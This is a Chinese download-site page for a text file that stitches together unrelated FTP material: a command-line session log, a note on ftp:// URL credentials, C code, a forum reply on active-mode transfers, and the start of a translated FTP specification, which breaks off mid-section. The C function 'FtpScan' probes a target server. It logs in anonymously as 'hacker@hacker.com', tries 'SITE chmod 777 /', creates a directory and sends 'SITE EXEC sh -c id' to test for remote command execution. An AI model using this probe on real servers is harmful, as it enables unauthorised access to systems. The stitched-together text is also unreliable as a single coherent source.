⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ftp.txt

📁 本程序为在linux下实现FTP传输文件的实现
💻 TXT
📖 第 1 页 / 共 5 页
字号:
Interactive mode off. 
200 Maximum IDLE time set to 7200 seconds 
cd/pub/packages/solaris/freeware 
250 CWD command successful. 
get xplaygizmo-1.0.gz 
200 PORT command successful. 
150 Opening BINARY mode data connection for xplaygizmo-1 
.0.gz(8753 bytes). 
######## 
226 Transfer complete. 
8753 bytes received in 50.8 secs(0.17 Kbytes/sec) 
221 Goodbye. 
缺省时,运行ftp命令将检测用户的HOME目录中的.netrc文件,并 
自动加以执行,如果不想使用.netrc,可在ftp命令行中使用-n参数加 
以取消


在ie浏览器里面输入如下形式   
  ftp://A:B@C:D   形式的说明     
  1.   A代表用户名     
  2.   B代表密码     
  3.   C代表   FTP   地址或者   IP   地址     
  4.   D代表端口---------省略表示默认端口   21   
  需要说明的是强烈推荐使用FTP工具,IE浏览器登陆往往会不灵
  
  
    char   *GetData(int   SockFD,char   *buffer)   
  {   
  //非阻塞方式接收数据   
    
  char   data[2001];   
  unsigned   long   on=1;   
  unsigned   long   off=0;   
  char   waste[2001];   
  int   p,   i=1;   
  int   t;   
    
  memset(data,0,2001);   
  p=ioctlsocket(SockFD,FIONBIO,&on);   
  memset(waste,0,2001);   
  for(t=1;t<10;t++){   
  i=recv(SockFD,   waste,   2000,   0);   
  if(i>0)   
  break;   
  Sleep(500);   
  }   
  waste[i]='\0';   
  strncat(data,waste,2000);   
  strncpy(   buffer,   data,   2000   );   
  return   buffer;   
  }   
    
    
    
    
  UINT   FtpScan(LPVOID   pParam)   
  {   
    
  int   port=21;   
  char*   rbuff=(   char   *   )malloc(   2000   *   sizeof(   char   )   );   
  SOCKET   sockfd;   
  SOCKADDR_IN   addr;   
  sockfd   =   socket(AF_INET,   SOCK_STREAM,   0);   
  if   (sockfd   <   0)     
  {   
    
  //"无法建立socket"   
                  free(rbuff);   
  return   0;   
  }   
  addr.sin_family   =   AF_INET;   
  addr.sin_port   =   htons(port);   
  addr.sin_addr.s_addr   =   inet_addr(strScanTarget);   
  if(connect(sockfd,(struct   sockaddr   *)   &addr,   sizeof(addr))<0)   
  {   
  //"目标没有开放FTP服务..."   
                                  free(rbuff);   
  return   0;   
  }   
  //"FTP服务器的Banner:"   
    
  rbuff   =   GetData(sockfd,rbuff);   
  //处理rbuff   
    
  send(sockfd,"USER   anonymous\r\n",sizeof("USER   anonymous\r\n"),0);//匿名登陆   
    
  rbuff   =   GetData(sockfd,rbuff);   
    
    
  if(strstr(rbuff,"331")==NULL)   
  {   
  //"没有匿名登陆...Ftp扫描完毕。"   
                                  free(rbuff);   
  return   0;   
  }   
    
  send(sockfd,"PASS   hacker@hacker.com\r\n",sizeof("PASS   hacker@hacker.com\r\n"),0);   
    
  rbuff   =   GetData(sockfd,rbuff);   
    
    
    
  send(sockfd,"LIST\r\n",sizeof("LIST\r\n"),0);//跟目录   
    
  rbuff   =   GetData(sockfd,rbuff);   
    
    
    
  send(sockfd,"SITE   chmod   777   /\r\n",sizeof("SITE   chmod   777   /\r\n"),0);//修改属性   
    
  rbuff   =   GetData(sockfd,rbuff);   
    
  send(sockfd,"MKDIR   DirTest\r\n",sizeof("MKDIR   DirTest\r\n"),0);       //建立目录   
  rbuff   =   GetData(sockfd,rbuff);   
    
    
    
  send(sockfd,"SITE   EXEC   sh   -c   id\r\n",sizeof("SITE   EXEC   sh   -c   id\r\n"),0);//执行Shell   
    
  rbuff   =   GetData(sockfd,rbuff);   
    
    
  send(sockfd,"QUIT\r\n",sizeof("QUIT\r\n"),0);   //退出   
  rbuff   =   GetData(sockfd,rbuff);   
    
  closesocket(sockfd);   
  free(rbuff);   
    
  return   0;   
  }
  
  呵呵,我写过这样的程序。具体如下:   
  1、在client端用一个临时端口建立一个被动打开(其实就是一个server端)。   
  2、在控制连接上发送PORT命令将临时端口号发到ftp   server.   
  3、在控制连接上发送LIST/RETR/STOR等命令。   
  4、(这时ftp   server根据ftp   client发送过来的端口号建立数据连接)   
  5、ftp   client端从数据连接接受/发送数据。   
  6、(ftp   server主动关闭数据连接)   
    
    
    文件传输协议(File Transfer Protocol, FTP) 


1. 介绍 


FTP的目标是提高文件的共享性,提供非直接使用远程计算机,使存储介质对用户透明和可 

靠高效地传送数据。虽然我们也可以手工使用它,但是它的主要作用是供程序使用的。在 

阅读本文之前最好能够阅读TCP协议标准规范和Telnet协议标准规范。 


2. 概览 


在本节中我们将讨论一些表面上的问题,有些名词的定义请参阅TCP和Telnet参考文献。我 

们先介绍一下(1)字节大小,在FTP中字节大小有两个:逻辑字节大小和用于传输的字节 

大小。后者通常是8位,而前者可不一定是多少了。传输字节不必等于逻辑字节大小,也不 

必对数据结构进行解释。(2)控制连接是建立在USER-PIT和SERVER-PI之间用于交换命令 

与应答的通信链路。(3)数据连接是传输数据的全双工连接。传输数据可以发生在服务器 

DTP和用户DTP之间也可以发生在两个服务器DTP之间。(4)DTP:数据传输过程(DTP)建 

立和管理数据连接,DTP可以是主动的也可以是被动的。(5)EOR代表记录尾。(6)NTV代 

表网络虚拟终端,它的定义与在Telnet协议中的定义一致。(7)NVFS代表网络虚拟文件系 

统。(8)FTP可以传输非连续的文件,这些文件的一部分称为页。(9)PI代表协议解释器 

。(10)服务器DTP代表一种传输过程,它通常处于“主动”状态,它和侦听端口建立数据 

连接,它还可以为传输和存储设置参数,并根据PI的指令传输数据。当然,DTP也可以转入 

“被动”状态。(11)服务器FTP进程,它是和用户FTP进程一起工作的,它由PI和DTP组成 

。至于用户FTP进程则是由PI,DTP和用户接口组成的。下图是FTP服务示意图: 




注意:数据连接是双向的,它不用整个时间都存在。上图中用户PI开始控制连接,控制连 

接与Telnet协议很象。在开始阶段,标准FTP命令由用户PI产生并通过控制连接传送到服务 

器进程。服务器PI向用户PI返回标准应答。FTP命令指定数据连接参数和文件系统操作。用 

户DTP在特定数据端口侦听,服务器开始数据连接并以指定的参数开始数据传输。数据端口 

不必在开始FTP命令的机器上,但用户或用户FTP进程必须确定它在指定的数据端口上侦听 

。这个数据连接是全双工的。 


在另外一种情况下,用户或许希望在两个主机间传送文件,不是两个本地主机。用户在两 

台主机间建立控制连接,然后规划数据连接。用这种方式,控制信息由用户PI获得,但是 

数据在服务器DTP之间传送。下面就是一个例子: 




协议要求数据传输在处理时打开控制连接。在完成FTP服务后由用户中止控制连接,而服务 

器具体操作。如果在未接收命令时关闭了控制连接,服务器也会关闭数据传输。FTP和Tel 

net很有联系,FTP使用Telnet协议进行控制连接,可有两种方法达到目的:用户PI或服务 

器PI可以在自己的过程中实现Telnet协议的功能;第二种方法是利用系统中现有的Telnet 

模块。实现上,FTP对Telnet协议的依赖也不多,即使重新实现,代码量也不大。 


3. 数据传输功能 


数据连接只传输数据,控制连接传送命令和响应。几个命令是关于在主机间传输数据的, 

数据传输基本上独立于物理结构的,但是如果在压缩传输模式下流式传输与文件结构有关 

,文件的属性与表示类型有关。 


3.1. 数据表示与保存 


数据是在主机间的存储设置间传送的。因为两个系统的数据存储方式不同,因此需要对它 

进行转换,在传送文本时会有对ASCII表示的问题,在进行二进制传送的时候,会有不同系 

统对字节长度规定不同的问题,有的系统是7位,有的系统可能是32位,这也需要进行转换 

。需要提供数据表示与传输模型函数,但是FTP提供这方面的功能不多,超过FTP提供功能 

的那一部分要用户自己实现。 


3.1.1. 数据类型 


数据表示是由用户指定的表示类型,它可以是隐含的,也可以是用户指定的。请一定注意 

:逻辑字节长度与物理字节长度是不同的。 


3.1.1.1. ASCII类型 


这是所有FTP必须实现的默认类型,用于传送文本文件,当在主机间使用EBCDIC传送时更方 

便,则不使用ASCII类型。发送方将内部表示转换为NVT-ASCII格式,接收方则进行相反的 

过程接收数据。根据NVT标准,要在行结束处使用<CRLF>序列。NVT-ASCII是8位的。ASCII 

和EBCDIC的格式参数在下面讨论。 


3.1.1.2. EBCDIC类型 


它是作为ASCII的另一种方法在主机间传送数据的数据类型。EBCDIC和ASCII很象,仅在类 

型的功能描述上有一些差别。行结束符使用很少。 


3.1.1.3. 图象类型 


在此类型下传送的数据被看作连续的位,发送方将数据打包到8位传输字节中传送。因为结 

构的需要要对传送数据进行填充,填充字节全部为0,填充必须在文件结构时使用,而且要 

标记出以便接收方过滤掉。它用于传送二进制数据和有效地传送和存储文件,因此所有FT 

P也必须实现。 


3.1.1.4. 本地类型 


也可以以十进制指定逻辑字节大小。如果物理字节大小和逻辑字节大小不同,直接将物理 

数据打包为逻辑字节,不用什么填充。接收方根据逻辑字节大小进行和本机的存储特点进 

行转换。传输必须是可重复的,也就是说,相同的文件相同的参数,那内容必须是一样的 



3.1.1.5. 格式控制 


ASCII和EBCDIC有一个可选参数,它说明文件垂直格式控制,下面的数据表示类型在FTP中 

有定义。字符文件可能有三种用途,打印,存储或留待以后处理。如果是用于打印,那主 

机必须知道垂直格式控制的表示,如果存储或等以后处理,也需要保留文件格式。如果在 

远程主机上处理完后传输回本地主机,要保证远程主机处理时没有麻烦。这都需要在ASCI 

I和EBCDIC格式上加入新的参数。 


3.1.1.5.1. NON PRINT 


未指定第二个参数是

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -